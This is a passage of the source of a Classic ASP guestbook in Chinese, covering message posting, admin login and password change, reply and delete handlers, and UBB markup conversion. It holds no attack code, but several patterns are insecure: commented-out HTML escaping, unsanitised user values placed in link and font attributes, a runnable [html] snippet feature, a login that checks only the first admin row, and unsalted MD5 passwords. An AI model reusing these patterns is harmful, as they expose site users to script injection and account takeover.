609:    Response.Write "<script>alert('姓名不能为空,请返回!');history.back();</script>"                                                                                                                                            
610:    Response.End                                                                                                                                            
611:    End If                                                                                                                                            
612:    If Len(HtmlEncode(trim(Request.Form("name"))))>20 Then                                                                                                                                            
613:    Response.Write "<script>alert('姓名不能太长,请返回!');history.back();</script>"                                                                                                                                            
614:    Response.End                                                                                                                                            
615:    End If                                                                                              
616:    If HtmlEncode(trim(Request.Form("qq")))="" Then                                                                                                                                              
617:    Response.Write "<script>alert('请填写联系电话或QQ号码,以便尽快与您取得联系,请返回!');history.back();</script>"                                                                                                                                            
618:    Response.End                                                                                                                                        
619:    End If                                                                                                                                        
620:    If HtmlEncode(trim(Request.Form("email")))<>"" Then                                                                                                                                            
621:    If instr(HtmlEncode(trim(Request.Form("email"))),"@")=0 or instr(HtmlEncode(trim(Request.Form("email"))),".")=0 or instr(HtmlEncode(trim(Request.Form("email"))),"@")=1 or instr(HtmlEncode(trim(Request.Form("email"))),"@")=len(email) then                                                                                                                                                                                                
622:    Response.Write "<script>alert('您填写的电子信箱一看就是假的,请重填!');history.back();</script>"                                                                                                                                            
623:    Response.End                                                                                                                                                
624:    End If                                                                                                                                            
625:    End If                                                                                                                                            
626:    If HtmlEncode2(Request.Form("words"))="" Then                                                                                                                                              
627:    Response.Write "<script>alert('请您填写留言内容,谢谢!');history.back();</script>"                                                                                                                                            
628:    Response.End                                                                                                                                        
629:    End If                                                        
630:    If len(HtmlEncode2(Request.Form("words")))>500 Then                                                                                                                                              
631:    Response.Write "<script>alert('留言内容请控制在500字以内,谢谢!');history.back();</script>"                                                                                                                                            
632:    Response.End                                                                                                                                        
633:    End If                                                                                                                                            
634:    Set Rs = Server.CreateObject("ADODB.RecordSet")                                                                                                                                            
635:    Sql="Select * from china_words"                                                                                                                                            
636:    Rs.Open Sql,Conn,2,3                                                                                                                                            
637:    Rs.AddNew                                                                                                                                            
638:    Rs("name")=HtmlEncode(trim(Request.Form("name")))                                                                                                                                            
639:    Rs("sex")=HtmlEncode(trim(Request.Form("sex")))                                                                                                                                          
640:    Rs("head")=HtmlEncode(trim(Request.Form("head")))                                                                                                                                            
641:    Rs("web")=HtmlEncode(trim(Request.Form("web")))                                                                                                                                            
642:    Rs("email")=HtmlEncode(trim(Request.Form("email")))                                                                                                                                            
643:    Rs("words")=HtmlEncode2(Request.Form("words"))                                                                                                                                            
644:    Rs("qq")=HtmlEncode(trim(Request.Form("qq")))                                                                                                                                            
645:    Rs("head")=HtmlEncode(trim(Request.Form("Image")))                                                                                                                                            
646:                     
647:    Rs("date")=Now()                                                                                                                                            
648: Rs("ip")=request.servervariables("remote_addr")                                                                                                                                            
649: Rs("come")=HtmlEncode(trim(Request.Form("come")))                                                                                                                                            
650:    Rs.Update                                                                                                                                            
651:    Rs.Close                                                                                                                                            
652:    Set Rs = Nothing                                                                                                                                            
653: End Sub                                                                                                                                            
654: ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''                                                                                                                                            
655: '验证管理员登陆                                                                                                                                            
656:                                                                                                                       
657: Sub Admin_Login_Execute()                                                                                                                                            
658:    username = HtmlEncode(trim(Request.Form("username")))                                                                                                                                            
659:    password = HtmlEncode(trim(Request.Form("password")))                                                                                                                                            
660:    If username = "" OR password = "" Then                                                                                                                                            
661:       Response.Write "用户名或者密码为空"                                                                                                                                            
662:       Response.End                                                                                                                                            
663:    End If                                                                                                                                            
664:    Set Rs = Server.CreateObject("ADODB.RecordSet")                                                                                                                                            
665:    Sql="Select * from china_admin"                                                                                                                                            
666:    Rs.Open Sql,Conn,1,1                                                                                                                                            
667:    If username = Rs("username") AND md5(password) = Rs("password") Then                                                                                                                                            
668:       session("china_admin") = username                                                                                                                                            
669:       Else                                                                                                                                            
670:       Response.Write "用户名或者密码不对,登陆失败"                                                                                                                                            
671:    End If                                                                                                                                            
672:    Rs.Close                                                                                                                                            
673:    Set Rs = Nothing                                                                                                                                            
674: End Sub                                                                                                                                            
675: Sub EditPWD_Execute()                                                                                                                                            
676:     If session("china_admin")="" Then                                                                                                                                              
677:       Response.Write "连接超时,请重新登录"                                                                                                                                            
678:       Response.End                                                                                                                                            
679:    end if                                                                                                                                            
680:   
681:    oldusername=HtmlEncode(trim(Request.Form("oldusername")))                                                                                                                                            
682:    username = HtmlEncode(trim(Request.Form("username")))                                                                                                                                            
683:    username_c = HtmlEncode(trim(Request.Form("username_c")))                                                                                                                                            
684:    oldpwd = HtmlEncode(trim(Request.Form("oldpwd")))                                                                                                                                            
685:    newpwd = HtmlEncode(trim(Request.Form("newpwd")))                                                                                                                                            
686:    newpwd_c = HtmlEncode(trim(Request.Form("newpwd_c")))                                                                                                                                            
687:    If username = "" OR username_c="" Then                                                                                                                                            
688:       Response.Write "新旧用户名均不能为空"                                                                                                                                            
689:       Response.End                                                                                                                                            
690:    End If                                                                                                                                            
691:    If oldpwd = "" OR newpwd = "" OR newpwd_c="" Then                                                                                                                                            
692:       Response.Write "新旧密码均不能为空"                                                                                                                                            
693:       Response.End                                                                                                                                            
694:    End If                                                                                                                                            
695:    If username<>username_c Then                                                                                                                                            
696:       Response.Write "新填写的两个新用户名不一致,请重新填写"                                                                                                                                            
697:       Response.End                                                                                                                                            
698:    End If                                                                                                                                            
699:    If newpwd<>newpwd_c Then                                                                                                                                            
700:       Response.Write "新填写的两个密码不一致,请重新填写"                                                                                                                                            
701:       Response.End                                                                                                                                            
702:    End If                                                                                                                                            
703:    Set Rs = Server.CreateObject("ADODB.RecordSet")                                                                                                                                            
704:    Sql="Select * from china_admin"                                                                                                                                            
705:    Rs.Open Sql,Conn,2,3                                                                                                                                            
706:    If Rs("password")=md5(oldpwd) And Rs("username")=oldusername Then                                                                                                                                            
707:       Rs("username")=username                                                                                                                                            
708:       Rs("password")=md5(newpwd)                                                                                                                                            
709:       Rs.Update                                                                                                                                            
710:    Else                                                                                                                                            
711:       Response.Write "你的旧密码填写不对或者旧用户名不对,修改不成功"                                                                                                                                            
712:       Response.End                                                                                                                                            
713:    End If                                                                                                                                            
714:    Rs.Close                                                                                                                                            
715:    Set Rs = Nothing                                                                                                                                            
716: End Sub                                                                                                                                            
717: Sub Exit_Admin()                                                                                                                                            
718:    Session.Abandon                                                                                                                                            
719:    response.redirect"gbook.asp"                                                                                                                                            
720: End Sub                                                                                                                                            
721: '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''                                                                                                                                            
722: '删除数据                                                                                                                                            
723: Sub del()                                                                                                                                            
724:      If session("china_admin")="" Then                                                                                                                                              
725:       Response.Write "连接超时,请重新登录"                                                                                                                                            
726:       Response.End                                                                                                                                            
727:     end if                                                                                                                                            
728:    '删除数据                      
729: theid=Request.QueryString("id")                    
730: if isnumeric(theid)=false then                    
731: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"                    
732: response.end                    
733: end if                                                                                                                                          
734:    Conn.Execute("Delete * from china_words Where id="&theid)                                                                                                                                            
735: End Sub                                                                                                                                            
736: ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''                                                                                                                                            
737: '回复留言添加到数据库                                                                                                                                            
738:   
739: Sub Reply_Execute()                                                                                                                                            
740:     If session("china_admin")="" Then                                                                                                                                              
741:       Response.Write "连接超时,请重新登录"                                                                                                                                            
742:       Response.End                                                                                                                                            
743:    end if                                                                                                                                            
744:                         
745: theid=Request.Form("id")                    
746: if isnumeric(theid)=false then                    
747: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"                    
748: response.end                    
749: end if                      
750:                                                                                                                     
751:    Set Rs = Server.CreateObject("ADODB.RecordSet")                                                                                                                                            
752:    Sql="Select reply from china_words Where id="&theid                                                                                                                                            
753:    Rs.Open Sql,Conn,2,3                                                                                                                                            
754:    Rs("words") = HtmlEncode2(Request.Form("words"))
755:    Rs("reply") = HtmlEncode2(Request.Form("reply"))
756:    if Request.Form("view")="1" then
757:    Rs("view")=1
758:    else                                                                                                                                            
759:    Rs("view")=0
760:    end if                                                                                                                                              
761:    Rs.Update                                                                                                                                            
762:    Rs.Close                                                                                                                                            
763:    Set Rs=Nothing                                                                                                                                            
764: End Sub                                                                                                                                            
765:                                                                                                                       
766: Sub Edit_Execute()                                                                                                                                            
767:     If session("china_admin")="" Then                                                                                                                                              
768:       Response.Write "连接超时,请重新登录"                                                                                                                                            
769:       Response.End                                                                                                                                            
770:    end if                                                                                                                                            
771:                         
772: theid=Request.Form("id")                    
773: if isnumeric(theid)=false then                    
774: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"                    
775: response.end                    
776: end if                      
777:                                                                                                                       
778:    Set Rs = Server.CreateObject("ADODB.RecordSet")
779:    Sql="Select * from china_words Where id="&theid
780:    Rs.Open Sql,Conn,2,3
781:    Rs("words") = HtmlEncode2(Request.Form("words"))
782:    Rs("reply") = HtmlEncode2(Request.Form("reply"))
783:    view=Request.Form("view")
784:    if view<>"" then rs("view")=1
785:     if view="" then rs("view")=0
786:    Rs.Update
787:    Rs.Close
788:    Set Rs=Nothing
789: End Sub                                                                                                                                            
790:                                                                                                                     
791: Conn.Close                                                                                                                                            
792: Set Conn = Nothing%
>                                                                                                                                            
793: <%function unHtml(content)                                                                                                                                            
794: unHtml=content                                                                                                                                            
795: if content <> "" then                                                                                                                                            
796: unHtml=replace(unHtml,"&","&amp;")                                                                                                                                            
797: 'unHtml=replace(unHtml,"<","&lt;")                                                                                                                                            
798: 'unHtml=replace(unHtml,">","&gt;")                                                                                                                                            
799: unHtml=replace(unHtml,chr(34),"&quot;")                                                                                                                                            
800: unHtml=replace(unHtml,chr(13),"<br>")                                                                                                                                            
801: unHtml=replace(unHtml,chr(32),"&nbsp;")                                                                                                                                            
802:   '使用数组 返回值数组 = Split("字符串","分割符")                                                                                                                                            
803:   'IsArray()判断是否数组的函数,LBound()取数组的下标,UBound()取数组的上标。                                                                                                                                              
804:    unhtmlgl=split(webgl,"|")                                                                                                                                            
805:    if IsArray(unhtmlgl) then                                                                                                                                            
806:    for i=0 to UBound(unhtmlgl)                                                                                                                                            
807:    unhtml=replace(unhtml,unhtmlgl(i),"***")                                                                                                                                            
808:    next                                                                                                                                            
809:    end if                                                                                                                                            
810: 'unHtml=ubb(unHtml)                                                                                                                                            
811: end if                                                                                                                                            
812: end function                                                                                                            
813: function ubb(content)                                                                                                                                            
814: ubb=content                                                                                                                                            
815:     nowtime=now()                                                                                                                                            
816:     UBB=Convert(ubb,"code")                                                                                                                                            
817:     UBB=Convert(ubb,"html")                                                                                                                                            
818:     UBB=Convert(ubb,"url")                                                                                                                                            
819:     UBB=Convert(ubb,"color")                                                                                                                                            
820:     UBB=Convert(ubb,"font")                                                                                                                                            
821:     UBB=Convert(ubb,"size")                                                                                                                                            
822:     UBB=Convert(ubb,"quote")                                                                                                                                            
823:     UBB=Convert(ubb,"email")                                                                                                                                            
824:     UBB=Convert(ubb,"img")                                                                                                                                            
825:     UBB=Convert(ubb,"swf")                                                                                                                                            
826:    ubb=convert(ubb,"cen")                                                                                                                                            
827:    ubb=convert(ubb,"rig")                                                                                                                                            
828:     ubb=convert(ubb,"lef")                                                                                                                                            
829:     ubb=convert(ubb,"center")                                                                                      
830:   
831:     UBB=AutoURL(ubb)                                                                                                                                            
832:     ubb=replace(ubb,"[b]","<b>",1,-1,1)                                                                                                                                            
833:     ubb=replace(ubb,"[/b]","</b>",1,-1,1)                                                                                                                                            
834:     ubb=replace(ubb,"[i]","<i>",1,-1,1)                                                                                                                                            
835:     ubb=replace(ubb,"[/i]","</i>",1,-1,1)                                                                                                                                            
836:     ubb=replace(ubb,"[u]","<u>",1,-1,1)                                                                                                                                            
837:     ubb=replace(ubb,"[/u]","</u>",1,-1,1)                                                                                                                                            
838:     ubb=replace(ubb,"[blue]","<font color='#000099'>",1,-1,1)                                                                                                                                            
839:     ubb=replace(ubb,"[/blue]","</font>",1,-1,1)                                                                                                                                            
840:     ubb=replace(ubb,"[red]","<font color='#990000'>",1,-1,1)                                                                                                                                            
841:     ubb=replace(ubb,"[/red]","</font>",1,-1,1)                                                                                                                                            
842:     for i=1 to 28                                                                                                                                            
843:     ubb=replace(ubb,"{:em"&i&"}","<IMG SRC=emot/emotface/em"&i&".gif ></img>",1,6,1)                                                                                                                                            
844:     ubb=replace(ubb,"{:em"&i&"}","",1,-1,1)                                                                                                                                            
845:     next                                                                                                                                            
846:     ubb=replace(ubb,"["&chr(176),"[",1,-1,1)                                                                                                                                            
847:     ubb=replace(ubb,chr(176)&"]","]",1,-1,1)                                                                                                                                            
848:     ubb=replace(ubb,"/"&chr(176),"/",1,-1,1)                                                                                                                                            
849: '    ubb=replace(ubb,"{;em","{:em",1,-1,1)                                                                                                                                            
850: end function                                                                                                        
851:       
852: function Convert(ubb,CovT)                                                                                                                                            
853: cText=ubb                                                                                                                                            
854: startubb=1                                                                                                                                            
855: do while Covt="url" or Covt="color" or Covt="font" or Covt="size"                                                                                                                                            
856: startubb=instr(startubb,cText,"["&CovT&"=",1)                                                                                                                                            
857: if startubb=0 then exit do                                                                                                                                            
858: endubb=instr(startubb,cText,"]",1)                                                                                                                                            
859: if endubb=0 then exit do                                                                                                                                            
860: Lcovt=Covt                                                                                                                                            
861: startubb=startubb+len(lCovT)+2                                                                                                                                            
862: text=mid(cText,startubb,endubb-startubb)                                                                                                                                            
863: codetext=replace(text,"[","["&chr(176),1,-1,1)                                                                                                                                            
864: codetext=replace(codetext,"]",chr(176)&"]",1,-1,1)                                                                                                                                            
865: 'codetext=replace(codetext,"{:em","{;em",1,-1,1)                                                                                                                                            
866: codetext=replace(codetext,"/","/"&chr(176),1,-1,1)                                                                                                                                            
867: select case CovT                                                                                                                                            
868:     case "color"                                                                                                                                            
869:    cText=replace(cText,"[color="&text&"]","<font color='"&text&"'>",1,1,1)                                                                                                                                            
870:    cText=replace(cText,"[/color]","</font>",1,1,1)                                                                                                                                            
871:     case "font"                                                                                                                                            
872:    cText=replace(cText,"[font="&text&"]","<font face='"&text&"'>",1,1,1)                                                                                                                                            
873:    cText=replace(cText,"[/font]","</font>",1,1,1)                                                                                                                                            
874:     case "size"                                                                                                                                            
875:    if IsNumeric(text) then                                                                                                                                            
876:    if text>6 then text=6                                                                                                                                            
877:    if text<1 then text=1                                                                                                                                            
878:    cText=replace(cText,"[size="&text&"]","<font size='"&text&"'>",1,1,1)                                                                                                                                            
879:    cText=replace(cText,"[/size]","</font>",1,1,1)                                                                                                                                            
880:    end if                                                                                                                                            
881:     case "url"                                                                                                                                            
882:    cText=replace(cText,"[url="&text&"]","<a href='"&codetext&"' target=_blank>",1,1,1)                                                                                                                                            
883:    cText=replace(cText,"[/url]","</a>",1,1,1)                                                                                                                                            
884:     case "email"                                                                                                                                            
885:    cText=replace(cText,"["&CovT&"="&text&"]","<a href=mailto:"&text&">",1,1,1)                                                                                                                                            
886:    cText=replace(cText,"[/"&CovT&"]","</a>",1,1,1)                                                                                                                                            
887: end select                                                                                                                                            
888: loop                                                                                                                
889: startubb=1                                                                                                                                            
890: do                                                                                                                                            
891: startubb=instr(startubb,cText,"["&CovT&"]",1)                                                                                                                                            
892: if startubb=0 then exit do                                                                                                                                            
893: endubb=instr(startubb,cText,"[/"&CovT&"]",1)                                                                                                                                            
894: if endubb=0 then exit do                                                                                                                                            
895: Lcovt=Covt                                                                                                                                            
896: startubb=startubb+len(lCovT)+2                                                                                                                                            
897: text=mid(cText,startubb,endubb-startubb)                                                                                                                                            
898: codetext=replace(text,"[","["&chr(176),1,-1,1)                                                                                                                                            
899: codetext=replace(codetext,"]",chr(176)&"]",1,-1,1)                                                                                                                                            
900: 'codetext=replace(codetext,"{:em","{;em",1,-1,1)                                                                                                                                            
901: codetext=replace(codetext,"/","/"&chr(176),1,-1,1)                                                                                                                                            
902: select case CovT                                                                                                                                            
903:     case "center"                                                                                                                                            
904:     cText=replace(cText,"[center]","<div align='center'>",1,1,1)                                                                                                                                            
905:    cText=replace(cText,"[/center]","</div>",1,1,1)                                                                                                                                            
906:       
907:     case "url"                                                                                                                                            
908:    cText=replace(cText,"["&CovT&"]"&text,"<a href='"&codetext&"' target=_blank>"&codetext,1,1,1)                                                                                                                                            
909:    cText=replace(cText,"<a href='"&codetext&"' target=_blank>"&codetext&"[/"&CovT&"]","<a href="&codetext&" target=_blank>"&codetext&"</a>",1,1,1)                                                                                                                                            
910:     case "email"                                                                                                                                            
911:    cText=replace(cText,"["&CovT&"]","<a href=mailto:"&text&">",1,1,1)                                                                                                                                            
912:    cText=replace(cText,"[/"&CovT&"]","</a>",1,1,1)                                                                                                                                            
913:     case "html"                                                                                                                                            
914:    codetext=replace(codetext,"<br>",chr(13),1,-1,1)                                                                                                                                            
915:    codetext=replace(codetext,"&nbsp;",chr(32),1,-1,1)                                                                                                                                            
916:    Randomize                                                                                                                                            
917:    rid="temp"&Int(100000 * Rnd)                                                                                                                                            
918:    cText=replace(cText,"[html]"&text,"代码片断如下:<TEXTAREA id="&rid&" rows=15 style='width:100%' class='bk'>"&codetext,1,1,1)                                                                                                                                            
919:    cText=replace(cText,"代码片断如下:<TEXTAREA id="&rid&" rows=15 style='width:100%' class='bk'>"&codetext&"[/html]","代码片断如下:<TEXTAREA id="&rid&" rows=15 style='width:100%' class='bk'>"&codetext&"</TEXTAREA><INPUT onclick=runEx('"&rid&"') type=button value=运行此段代码 name=Button1 class='Tips_bo'> <INPUT onclick=JM_cc('"&rid&"') type=button value=复制到我的剪贴板 name=Button2 class='Tips_bo'>",1,1,1)                                                                                                                                            
920:     case "img" '一般显示的图片                                                                                                                                            
921:    cText=replace(cText,"[img]"&text,"<a href="&chr(34)&"about:<img src="&codetext&" border=0>"&chr(34)&" target=_blank><img src="&codetext ,1,1,1 )                                                                                                                                            
922:    cText=replace(cText,"[/img]"," vspace=2 hspace=2 border=0 alt=::点击图片在新窗口中打开:: onload='javascript:if(this.width>580)this.width=580'></a>",1,1,1)                                                                                                                                            
923:                                                                                                                               
924:    case "cen" '图片居中                                                                                                                                            
925:    cText=replace(cText,"[cen]"&text,"<table border='0' align='center' cellpadding='0' cellspacing='0'><tr><td > <a href="&chr(34)&"about:<img src="&codetext&" border=0>"&chr(34)&" target=_blank><img src="&codetext ,1,1,1 )                                                                                                                          
926:    cText=replace(cText,"[/cen]"," vspace=2 hspace=2 border=0 alt=::点击图片在新窗口中打开:: onload='javascript:if(this.width>580)this.width=580'></a></td></tr></table>",1,1,1)                                        
927:    case "rig" '图片居右,文字绕排                                                                                                                                            
928:    cText=replace(cText,"[rig]"&text,"<a href="&chr(34)&"about:<img src="&codetext&" border=0>"&chr(34)&" target=_blank><img src="&codetext ,1,1,1 )                                                                                                                                            
929:    cText=replace(cText,"[/rig]"," vspace=2 hspace=2 border=0 align='right' alt=::点击图片在新窗口中打开:: onload='javascript:if(this.width>580)this.width=580'></a>",1,1,1)                                                                                                                                            
930:                   
931:     case "lef" '图片居左,文字绕排                                                                                                                                            
932:    cText=replace(cText,"[lef]"&text,"<a href="&chr(34)&"about:<img src="&codetext&" border=0>"&chr(34)&" target=_blank><img src="&codetext ,1,1,1 )                                                                                                                                            
933:    cText=replace(cText,"[/lef]"," vspace=2 hspace=2 border=0 align='left' alt=::点击图片在新窗口中打开:: onload='javascript:if(this.width>580)this.width=580'></a>",1,1,1)                                                                                                                                            
934:                 
935:    case "code"                                                                                                                                            
936:    cText=replace(cText,"[code]"&text,"以下内容为程序代码<hr noshade>"&codetext,1,1,1)                                                                                                                                            
937:    cText=replace(cText,"以下内容为程序代码<hr noshade>"&codetext&"[/code]","以下内容为程序代码<hr noshade>"&codetext&"<hr noshade>",1,1,1)                                                                                                                                            
938:     case "quote"                                                                                                                                            
939:     atext=replace(text,"[cen]","",1,-1,1)                                                                                                                                            
940:    atext=replace(text,"[/cen]","",1,-1,1)                                                                                                                                            
941:                 
942:    atext=replace(text,"[img]","",1,-1,1)                                                                                                                                            
943:    atext=replace(atext,"[/img]","",1,-1,1)                                                                                                                                            
944:    atext=replace(atext,"[swf]","",1,-1,1)                                                                                                                                            
945:    atext=replace(atext,"[/swf]","",1,-1,1)                                                                                                                                            
946:    atext=replace(atext,"[html]","",1,-1,1)                                                                                                                                            
947:    atext=replace(atext,"[/html]","",1,-1,1)                                                                                                                                            
948: '   atext=replace(atext,"{:em","{;em",1,-1,1)                                                                                                                                            
949:    atext=SplitWords(atext,350)                                                                                                                                            
950:    atext=replace(atext,chr(32),"&nbsp;",1,-1,1)                                                                                                                                            
951:    cText=replace(cText,"[quote]"&text,"<blockquote><hr noshade>"&atext,1,1,1)                                                                                                                                            
952:    cText=replace(cText,"<blockquote><hr noshade>"&atext&"[/quote]","<blockquote><hr noshade>"&atext&"<hr noshade></blockquote>",1,1,1)                                                                                                                                            
953:     case "swf"                                                                                                                                            
954:                             
955:    cText=replace(cText,"[swf]"&text,"<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0' width='500' height='400'><param name=movie value='"&codetext&"'><param name=quality value=high><embed src='"&codetext&"' quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width='500' height='400'>",1,1,1)                                                                                                                                            
956:                                                                                                                             
957:    cText=replace(cText,"<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0' width='500' height='400'><param name=movie value='"&codetext&"'><param name=quality value=high><embed src='"&codetext&"' quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width='500' height='400'>"&"[/swf]","<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0' width='500' height='400'><param name=movie value='"&codetext&"'><param name=quality value=high><embed src='"&codetext&"' quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width='500' height='400'>"&"</embed></object>",1,1,1)                                                                                                                                            
958: end select                                                                                                                                            
959: loop                                                                                                                                            
960: Convert=cText                                                                                                                                            
961: end function                                                                                                                                            
962:                                                                                                                                 
963: function AutoURL(ubb)                                                                                                                                            
964: cText=ubb                                                                                                                                            
965: startubb=1                                                                                                                                            
966: do                                                                                                                                            
967: startubb=1                                                                                                                                            
968: endubb_a=0                                                                                                                                            
969: endubb_b=0                                                                                                                                            
970: endubb=0                                                                                                                                            
971: startubb=instr(startubb,cText,"http://",1)                                                                                                                                            
972: if startubb=0 then exit do                                                                                                                                            
973: endubb_b=instr(startubb,cText,"<",1)                                                                                                                                            
974: endubb_a=instr(startubb,cText,"&nbsp;",1)                                                                                                                                            
975:                 
976: endubb=endubb_a                                                                                                                                            
977:               
978: if endubb=0 then                                                                                                                                            
979: endubb=endubb_b                                                                                                                                            
980: end if                                                                                                                                                                                                                                    
981: if endubb_b<endubb and endubb_b>0 then                                                                                                                                            
982: endubb=endubb_b                                                                                                                                            
983: end if                                                                                                                                            
984:                 
985: if endubb=0 then                                                                                                                                            
986: lenc=ctext                                                                                                                                            
987: endubb=len(lenc)+1                                                                                                                                            
988: end if                                                                                                                                            
989:           
990: 'response.write startubb&","&endubb                                                                                                                                            
991: if startubb>endubb then exit do                                                                                                                                            
992: text=mid(cText,startubb,endubb-startubb)                                                                                                                                            
993: 'response.write text                                                                                                                                            
994: 'codetext=replace(text,"/","/"&chr(176),1,-1,1)                                                                                                                                            
995: codetext=text                                                                                                                                            
996: 'response.write text&","                                                                                                                                            
997: urllink="<a href='"&codetext&"' target=_blank>"&codetext&"</a> "                                                                                                                                            
998: 'response.write urllink                                                                                                                                            
999: urllink=replace(urllink,"/","/"&chr(176),1,-1,1)                                                                                                                                            
000: cText=replace(cText,text,urllink,1,1,1)                                                                                                                                            
001: loop                                                                                                                                            
002: AutoURL=cText                                                                                                                                            
003: end function%
>                                                                                                                
004:
005:
006: